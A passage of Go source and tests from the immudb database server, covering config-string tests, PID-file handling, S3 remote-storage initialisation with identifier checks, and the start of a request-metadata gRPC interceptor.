op.Bind() != "localhost:2048" || op.WebBind() != "localhost:8081" || op.WebServer != false || op.TLSConfig != tlsConfig || op.TokenExpiryTimeMin != 52 || !op.PgsqlServer || op.PgsqlServerPort != 123456 || op.PProf != true || op.IsJSONLogger() != true { t.Errorf("database default options mismatch") } } func TestOptionsString(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics Sync replication : false Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log") require.Equal(t, expected, op.String()) } func TestOptionsWithSyncReplicationString(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics Sync replication : true Sync acks : 1 Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log") op.ReplicationOptions. WithSyncReplication(true). WithSyncAcks(1) require.Equal(t, expected, op.String()) } func TestOptionsStringWithS3(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics Sync replication : false Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true S3 storage endpoint : s3-endpoint bucket name : s3-bucket-name location : s3-location prefix : s3-path-prefix external id : false metadata url : http://169.254.169.254 ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log"). WithRemoteStorageOptions( DefaultRemoteStorageOptions(). WithS3Storage(true). WithS3Endpoint("s3-endpoint"). WithS3BucketName("s3-bucket-name"). WithS3Location("s3-location"). WithS3PathPrefix("s3-path-prefix"). WithS3InstanceMetadataURL("http://169.254.169.254"), ) require.Equal(t, expected, op.String()) } func TestOptionsStringWithS3RoleBased(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics Sync replication : false Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true S3 storage role auth : true role name : s3-role endpoint : s3-endpoint bucket name : s3-bucket-name location : s3-location prefix : s3-path-prefix external id : false metadata url : http://169.254.169.254 ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log"). WithRemoteStorageOptions( DefaultRemoteStorageOptions(). WithS3Storage(true). WithS3RoleEnabled(true). WithS3Role("s3-role"). WithS3Endpoint("s3-endpoint"). WithS3BucketName("s3-bucket-name"). WithS3Location("s3-location"). WithS3PathPrefix("s3-path-prefix"). WithS3InstanceMetadataURL("http://169.254.169.254"), ) require.Equal(t, expected, op.String()) } func TestOptionsStringWithS3ExternalIdentifier(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics Sync replication : false Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true S3 storage endpoint : s3-endpoint bucket name : s3-bucket-name location : s3-location prefix : s3-path-prefix external id : true metadata url : ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log"). WithRemoteStorageOptions( DefaultRemoteStorageOptions(). WithS3Storage(true). WithS3Endpoint("s3-endpoint"). WithS3BucketName("s3-bucket-name"). WithS3Location("s3-location"). WithS3PathPrefix("s3-path-prefix"). WithS3ExternalIdentifier(true), ) require.Equal(t, expected, op.String()) } func TestOptionsStringWithPProf(t *testing.T) { expected := `================ Config ================ Data dir : ./data Address : 0.0.0.0:3322 Metrics address : 0.0.0.0:9497/metrics pprof enabled : true Sync replication : false Config file : configs/immudb.toml PID file : immu.pid Log file : immu.log Max recv msg size: 33554432 Auth enabled : true Dev mode : false Default database : defaultdb Maintenance mode : false Synced mode : true ---------------------------------------- Superadmin default credentials Username : immudb Password : immudb ========================================` op := DefaultOptions(). WithPidfile("immu.pid"). WithLogfile("immu.log"). WithPProf(true) require.Equal(t, expected, op.String()) } ================================================ FILE: pkg/server/pid.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "fmt" "strconv" "strings" "github.com/codenotary/immudb/pkg/immuos" ) // PIDFile contains path of pid file type PIDFile struct { path string OS immuos.OS } func checkPIDFileAlreadyExists(path string, OS immuos.OS) error { if pidByte, err := OS.ReadFile(path); err == nil { pidString := strings.TrimSpace(string(pidByte)) if pid, err := strconv.Atoi(pidString); err == nil { if processExists(pid, OS) { return fmt.Errorf("pid file found, ensure immudb is not running or delete %s", path) } } } return nil } // NewPid returns a new PIDFile or an error func NewPid(path string, OS immuos.OS) (PIDFile, error) { if err := checkPIDFileAlreadyExists(path, OS); err != nil { return PIDFile{}, err } if fn := OS.Base(path); fn == "." { return PIDFile{}, fmt.Errorf("Pid filename is invalid: %s", path) } if _, err := OS.Stat(OS.Dir(path)); OS.IsNotExist(err) { if err := OS.Mkdir(OS.Dir(path), 0755); err != nil { return PIDFile{}, err } } if err := OS.WriteFile(path, []byte(fmt.Sprintf("%d", OS.Getpid())), 0644); err != nil { return PIDFile{}, err } return PIDFile{path: path, OS: OS}, nil } // Remove remove the pid file func (file PIDFile) Remove() error { return file.OS.Remove(file.path) } func processExists(pid int, OS immuos.OS) bool { if _, err := OS.Stat(OS.Join("/proc", strconv.Itoa(pid))); err == nil { return true } return false } ================================================ FILE: pkg/server/pid_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "errors" "fmt" "os" "testing" "github.com/codenotary/immudb/pkg/immuos" "github.com/stretchr/testify/require" ) func TestPid(t *testing.T) { OS := immuos.NewStandardOS() OS.ReadFileF = func(string) ([]byte, error) { return []byte("1"), nil } OS.StatF = func(name string) (os.FileInfo, error) { return nil, nil } pidPath := "somepath" _, err := NewPid(pidPath, OS) require.Equal( t, fmt.Errorf("pid file found, ensure immudb is not running or delete %s", pidPath), err) OS.StatF = func(name string) (os.FileInfo, error) { return nil, errors.New("") } OS.BaseF = func(string) string { return "." } _, err = NewPid(pidPath, OS) require.Equal( t, fmt.Errorf("Pid filename is invalid: %s", pidPath), err) OS.BaseF = func(path string) string { return path } statCounter := 0 statFOK := OS.StatF OS.StatF = func(name string) (os.FileInfo, error) { statCounter++ if statCounter == 1 { return nil, errors.New("") } return nil, os.ErrNotExist } errMkdir := errors.New("Mkdir error") OS.MkdirF = func(name string, perm os.FileMode) error { return errMkdir } _, err = NewPid(pidPath, OS) require.ErrorIs(t, err, errMkdir) OS.StatF = statFOK errWriteFile := errors.New("WriteFile error") OS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error { return errWriteFile } _, err = NewPid(pidPath, OS) require.ErrorIs(t, err, errWriteFile) OS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error { return nil } pid, err := NewPid(pidPath, OS) require.NoError(t, err) errRemove := errors.New("Remove error") OS.RemoveF = func(name string) error { return errRemove } require.ErrorIs(t, pid.Remove(), errRemove) } ================================================ FILE: pkg/server/remote_storage.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "bytes" "context" "io" "os" "path/filepath" "strings" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/remoteapp" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/errors" "github.com/rs/xid" ) // this set of errors is grouped around remote storage identifier concept // and covers multiple possible scenarios or remote storage configurations var ( ErrRemoteStorageDoesNotMatch = errors.New("remote storage does not match local files for identifiers") ErrNoStorageForIdentifier = errors.New("remote storage does not exist, unable to retrieve identifier") ErrNoRemoteIdentifier = errors.New("remote storage does not have expected identifier") ) func (s *ImmuServer) createRemoteStorageInstance() (remotestorage.Storage, error) { if s.Options.RemoteStorageOptions.S3Storage { if s.Options.RemoteStorageOptions.S3RoleEnabled && (s.Options.RemoteStorageOptions.S3AccessKeyID != "" || s.Options.RemoteStorageOptions.S3SecretKey != "") { return nil, s3.ErrKeyCredentialsProvided } // S3 storage return s3.Open( s.Options.RemoteStorageOptions.S3Endpoint, s.Options.RemoteStorageOptions.S3RoleEnabled, s.Options.RemoteStorageOptions.S3Role, s.Options.RemoteStorageOptions.S3AccessKeyID, s.Options.RemoteStorageOptions.S3SecretKey, s.Options.RemoteStorageOptions.S3BucketName, s.Options.RemoteStorageOptions.S3Location, s.Options.RemoteStorageOptions.S3PathPrefix, s.Options.RemoteStorageOptions.S3InstanceMetadataURL, s.Options.RemoteStorageOptions.S3UseFargateCredentials, ) } return nil, nil } func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) error { if storage == nil { if s.Options.RemoteStorageOptions.S3ExternalIdentifier { return ErrNoStorageForIdentifier } // No remote storage return nil } if s.Options.RemoteStorageOptions.S3ExternalIdentifier { if err := s.loadRemoteIdentifier(context.Background(), storage); err != nil { return err } } return s.createRemoteSubFolders(storage) } func (s *ImmuServer) createRemoteSubFolders(storage remotestorage.Storage) error { _, subFolders, err := storage.ListEntries(context.Background(), "") if err != nil { return err } for _, subFolder := range subFolders { err := os.MkdirAll( filepath.Join(s.Options.Dir, subFolder), store.DefaultFileMode, ) if err != nil { return err } } return nil } func (s *ImmuServer) loadRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error { hasRemoteIdentifier, err := storage.Exists(ctx, IDENTIFIER_FNAME) if err != nil { return err } if !hasRemoteIdentifier { return s.initRemoteIdentifier(ctx, storage) } remoteIDStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1) if err != nil { return err } remoteID, err := io.ReadAll(remoteIDStream) remoteIDStream.Close() if err != nil { return err } localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) if fileExists(localIdentifierFile) { localID, err := os.ReadFile(localIdentifierFile) if err != nil { return err } if !bytes.Equal(remoteID, localID) { return ErrRemoteStorageDoesNotMatch } return nil } if err := os.WriteFile(localIdentifierFile, remoteID, os.ModePerm); err != nil { return err } s.UUID, err = xid.FromBytes(remoteID) return err } func (s *ImmuServer) initRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error { localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) s.UUID = xid.New() if err := os.WriteFile(localIdentifierFile, s.UUID.Bytes(), os.ModePerm); err != nil { return err } return storage.Put(ctx, IDENTIFIER_FNAME, localIdentifierFile) } func (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error { ctx := context.Background() return remoteStorage.Put(ctx, IDENTIFIER_FNAME, filepath.Join(s.Options.Dir, IDENTIFIER_FNAME)) } func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage.Storage, stOpts *store.Options) *store.Options { if remoteStorage != nil { stOpts.WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { remoteAppOpts := remoteapp.DefaultOptions() remoteAppOpts.Options = *opts s3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath) if err != nil { return nil, err } return remoteapp.Open( filepath.Join(rootPath, subPath), s3Path, remoteStorage, remoteAppOpts, ) }). WithFileSize(1 << 20). // Reduce file size for better cache granularity WithAppRemoveFunc(func(rootPath, subPath string) error { s3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath) if err != nil { return err } err = os.RemoveAll(filepath.Join(rootPath, subPath)) if err != nil { return err } return remoteStorage.RemoveAll(context.Background(), s3Path) }) Metrics.RemoteStorageKind.WithLabelValues(name, remoteStorage.Kind()).Set(1) } else { // No remote storage Metrics.RemoteStorageKind.WithLabelValues(name, "none").Set(1) } return stOpts } func getS3RemotePath(dir, rootPath, subPath string) (string, error) { baseDir, err := filepath.Abs(dir) if err != nil { return "", err } baseDir += string(filepath.Separator) fsPath, err := filepath.Abs(filepath.Join(rootPath, subPath)) if err != nil { return "", err } if !strings.HasPrefix(fsPath, baseDir) { return "", errors.New("path assertion failed") } return strings.ReplaceAll( fsPath[len(baseDir):]+"/", string(filepath.Separator), "/", ), nil } ================================================ FILE: pkg/server/remote_storage_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "errors" "io" "io/ioutil" "os" "path/filepath" "syscall" "testing" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/memory" "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/rs/xid" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/grpc/test/bufconn" ) type remoteStorageMockingWrapper struct { wrapped remotestorage.Storage fnGet func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) fnPut func(ctx context.Context, name string, fileName string, next func() error) error fnExists func(ctx context.Context, name string, next func() (bool, error)) (bool, error) fnListEntries func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) } func (r *remoteStorageMockingWrapper) Kind() string { return r.wrapped.Kind() } func (r *remoteStorageMockingWrapper) String() string { return r.wrapped.String() } func (r *remoteStorageMockingWrapper) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) { if r.fnGet != nil { return r.fnGet(ctx, name, offs, size, func() (io.ReadCloser, error) { return r.wrapped.Get(ctx, name, offs, size) }) } return r.wrapped.Get(ctx, name, offs, size) } func (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, fileName string) error { if r.fnPut != nil { return r.fnPut(ctx, name, fileName, func() error { return r.wrapped.Put(ctx, name, fileName) }) } return r.wrapped.Put(ctx, name, fileName) } func (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error { return nil } func (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, folder string) error { return nil } func (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) { if r.fnExists != nil { return r.fnExists(ctx, name, func() (bool, error) { return r.wrapped.Exists(ctx, name) }) } return r.wrapped.Exists(ctx, name) } func (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path string) (entries []remotestorage.EntryInfo, subPaths []string, err error) { if r.fnListEntries != nil { return r.fnListEntries(ctx, path, func() (entries []remotestorage.EntryInfo, subPaths []string, err error) { return r.wrapped.ListEntries(ctx, path) }) } return r.wrapped.ListEntries(ctx, path) } func TestCreateRemoteStorage(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) // No remote storage by default storage, err := s.createRemoteStorageInstance() require.NoError(t, err) require.Nil(t, storage) // Set remote storage options s.WithOptions(DefaultOptions().WithRemoteStorageOptions( DefaultRemoteStorageOptions(). WithS3Storage(true). WithS3BucketName("bucket"), )) storage, err = s.createRemoteStorageInstance() require.NoError(t, err) require.NotNil(t, storage) require.IsType(t, &s3.Storage{}, storage) } func tmpFile(t *testing.T, data []byte) (fileName string, cleanup func()) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) _, err = fl.Write(data) require.NoError(t, err) err = fl.Close() require.NoError(t, err) return fl.Name(), func() { os.Remove(fl.Name()) } } func storeData(t *testing.T, s remotestorage.Storage, name string, data []byte) { fl, c := tmpFile(t, data) defer c() err := s.Put(context.Background(), name, fl) require.NoError(t, err) } func TestInitializeRemoteStorageNoRemoteStorage(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) err := s.initializeRemoteStorage(nil) require.NoError(t, err) } func TestInitializeRemoteStorageEmptyRemoteStorage(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) err := s.initializeRemoteStorage(memory.Open()) require.NoError(t, err) } func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) { dir := t.TempDir() remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) injectedErr := errors.New("Injected error") mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) { return false, injectedErr }, } err := s.initializeRemoteStorage(mem) require.ErrorIs(t, err, injectedErr) } func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) injectedErr := errors.New("Injected error") mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnListEntries: func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) { return nil, nil, injectedErr }, } err := s.initializeRemoteStorage(mem) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { dir := t.TempDir() remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) uuid := xid.New() m := memory.Open() storeData(t, m, "immudb.identifier", uuid.Bytes()) err := s.initializeRemoteStorage(m) require.NoError(t, err) uuidFilename := filepath.Join(dir, "immudb.identifier") require.FileExists(t, uuidFilename) id, err := ioutil.ReadFile(uuidFilename) require.NoError(t, err) require.Equal(t, uuid.Bytes(), id) } func TestInitializeWithEmptyRemoteStorage(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) opts.RemoteStorageOptions.S3ExternalIdentifier = true s := DefaultServer() s.WithOptions(opts) err := s.Initialize() require.ErrorIs(t, err, ErrNoStorageForIdentifier) } func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) opts.RemoteStorageOptions.S3ExternalIdentifier = true s := DefaultServer() s.WithOptions(opts) var m remotestorage.Storage = nil err := s.initializeRemoteStorage(m) require.ErrorIs(t, err, ErrNoStorageForIdentifier) } func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) opts.RemoteStorageOptions.S3ExternalIdentifier = true s := DefaultServer() s.WithOptions(opts) uuid := xid.New() m := memory.Open() storeData(t, m, "immudb.identifier", uuid.Bytes()) s.remoteStorage = m err := s.initializeRemoteStorage(m) require.NoError(t, err) uuidFilename := filepath.Join(dir, "immudb.identifier") require.FileExists(t, uuidFilename) id, err := ioutil.ReadFile(uuidFilename) require.NoError(t, err) require.Equal(t, uuid.Bytes(), id) } func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { dir := t.TempDir() remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) injectedErr := errors.New("Injected error") m := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { return nil, injectedErr }, } storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) err := s.initializeRemoteStorage(m) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageDownloadIdentifierErrorOnStore(t *testing.T) { require.NoError(t, os.MkdirAll(filepath.Join(t.TempDir(), "data_uuiderr", "immudb.identifier"), 0777)) remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) err := s.initializeRemoteStorage(m) require.ErrorIs(t, err, syscall.ENOENT) } type errReader struct { err error } func (e errReader) Read([]byte) (int, error) { return 0, e.err } func TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) { dir := t.TempDir() remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) injectedErr := errors.New("Injected error") m := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { return ioutil.NopCloser(errReader{injectedErr}), nil }, } storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) err := s.initializeRemoteStorage(m) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { dir := t.TempDir() remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() s.WithOptions(opts) m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) _, err := getOrSetUUID(dir, dir, false) require.NoError(t, err) err = s.initializeRemoteStorage(m) require.ErrorIs(t, err, ErrRemoteStorageDoesNotMatch) } func TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) m := memory.Open() storeData(t, m, "dir1/file1", []byte{1, 2, 3}) storeData(t, m, "dir1/file2", []byte{1, 2, 3}) storeData(t, m, "dir2/file3", []byte{1, 2, 3}) storeData(t, m, "dir3/file4", []byte{1, 2, 3}) err := s.initializeRemoteStorage(m) require.NoError(t, err) require.DirExists(t, filepath.Join(dir, "dir1")) require.DirExists(t, filepath.Join(dir, "dir2")) require.DirExists(t, filepath.Join(dir, "dir3")) } func TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) m := memory.Open() storeData(t, m, "dir1/file1", []byte{1, 2, 3}) storeData(t, m, "dir1/file2", []byte{1, 2, 3}) storeData(t, m, "dir2/file3", []byte{1, 2, 3}) storeData(t, m, "dir3/file4", []byte{1, 2, 3}) err := ioutil.WriteFile(filepath.Join(dir, "dir3"), []byte{}, 0777) require.NoError(t, err) err = s.initializeRemoteStorage(m) require.ErrorIs(t, err, syscall.ENOTDIR) } func TestUpdateRemoteUUID(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) m := memory.Open() uuid, err := getOrSetUUID(dir, dir, false) require.NoError(t, err) s.UUID = uuid err = s.updateRemoteUUID(m) require.NoError(t, err) exists, err := m.Exists(context.Background(), "immudb.identifier") require.NoError(t, err) require.True(t, exists) data, err := m.Get(context.Background(), "immudb.identifier", 0, -1) require.NoError(t, err) defer data.Close() readUUID, err := ioutil.ReadAll(data) require.NoError(t, err) require.Equal(t, uuid.Bytes(), readUUID) } func TestAppendableIsUploadedToRemoteStorage(t *testing.T) { testAppendableIsUploadedToRemoteStorage(t) } func testAppendableIsUploadedToRemoteStorage(t *testing.T) (string, remotestorage.Storage, *store.Options) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) s.remoteStorage = memory.Open() stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb", "")).GetStoreOptions().WithEmbeddedValues(false) path := filepath.Join(dir, "testdb") st, err := store.Open(path, stOpts) require.NoError(t, err) tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1}, nil, []byte{2}) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) err = st.Close() require.NoError(t, err) requireDataExistsOnRemoteStorage(t, s.remoteStorage) return path, s.remoteStorage, stOpts } func requireDataExistsOnRemoteStorage(t *testing.T, storage remotestorage.Storage) { // Ensure the data was written to the remote storage for _, name := range []string{ "testdb/aht/commit/00000000.di", "testdb/aht/data/00000000.dat", "testdb/aht/tree/00000000.sha", "testdb/commit/00000000.txi", "testdb/index/commit/00000000.ri", "testdb/index/history/00000000.hx", "testdb/index/nodes/00000000.n", "testdb/tx/00000000.tx", "testdb/val_0/00000000.val", } { t.Run(name, func(t *testing.T) { exists, err := storage.Exists(context.Background(), name) require.NoError(t, err) require.True(t, exists) }) } } func TestIndexCompactionForRemoteStorage(t *testing.T) { path, storage, stOpts := testAppendableIsUploadedToRemoteStorage(t) st, err := store.Open(path, stOpts.WithIndexOptions(stOpts.IndexOpts.WithCompactionThld(1))) require.NoError(t, err) err = st.CompactIndexes() require.NoError(t, err) err = st.Close() require.NoError(t, err) entries, subpath, err := storage.ListEntries(context.Background(), "testdb/index/") require.NoError(t, err) require.Len(t, entries, 0) require.Equal(t, subpath, []string{"commit0000000000000001", "history", "nodes0000000000000001"}) } func TestRemoteStorageUsedForNewDB(t *testing.T) { dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions(). WithDir(dir). WithPort(0). WithPgsqlServer(false). WithListener(bufconn.Listen(1024 * 1024)), ) err := s.Initialize() require.NoError(t, err) m := memory.Open() s.remoteStorage = m r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) newdb := &schema.DatabaseSettings{ DatabaseName: "newdb", } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) // force db loading repl, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "newdb"}) require.NoError(t, err) md = metadata.Pairs("authorization", repl.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.Get(ctx, &schema.KeyRequest{Key: []byte("test-key")}) require.ErrorIs(t, err, tbtree.ErrKeyNotFound) err = s.CloseDatabases() require.NoError(t, err) exists, err := m.Exists(context.Background(), "newdb/tx/00000000.tx") require.NoError(t, err) require.True(t, exists) } ================================================ FILE: pkg/server/request_metadata_interceptor.go ================================================ package server import ( "context" "strings" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/grpc" "google.golang.org/grpc/metadata" "google.golang.org/grpc/peer" ) func (s *ImmuServer) InjectRequestMetadataUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if !s.Options.LogRequestMetadata { return handler(ctx, req) } return handler(s.withRequestMetadata(ctx), req) } func (s *ImmuServer) InjectRequestMetadataStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { ctx := ss.Context() if !s.Options.LogRequestMetadata { return handler(srv, ss) } return handler(srv, &serverStreamWithContext{ServerStream: ss, ctx: s.withRequestMetadata(ctx)}) } type serverStreamWithContext struct { grpc.ServerStream ctx context.Context } func (s *serverStreamWithContext) Context() context.Context { return s.ctx } func (s *ImmuServer) withRequestMetadata(ctx context.Context) context.Context { if !s.Options.LogRequestMetadata { return ctx } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return ctx } md := schema.Metadata{ schema.UserRequestMetadataKey: user.Username, } ip := ipAddrFromContext(ctx) if len(ip) > 0 { md[schema.IpRequestMetadataKey] = ip } return schema.ContextWithMetadata(ctx, md) } func ipAddrFromContext(ctx context.Context) string { md, ok := metadata.FromIncomingContext(ctx) if ok { // check for the headers forwarded by GRPC-gateway if xffValues, ok := 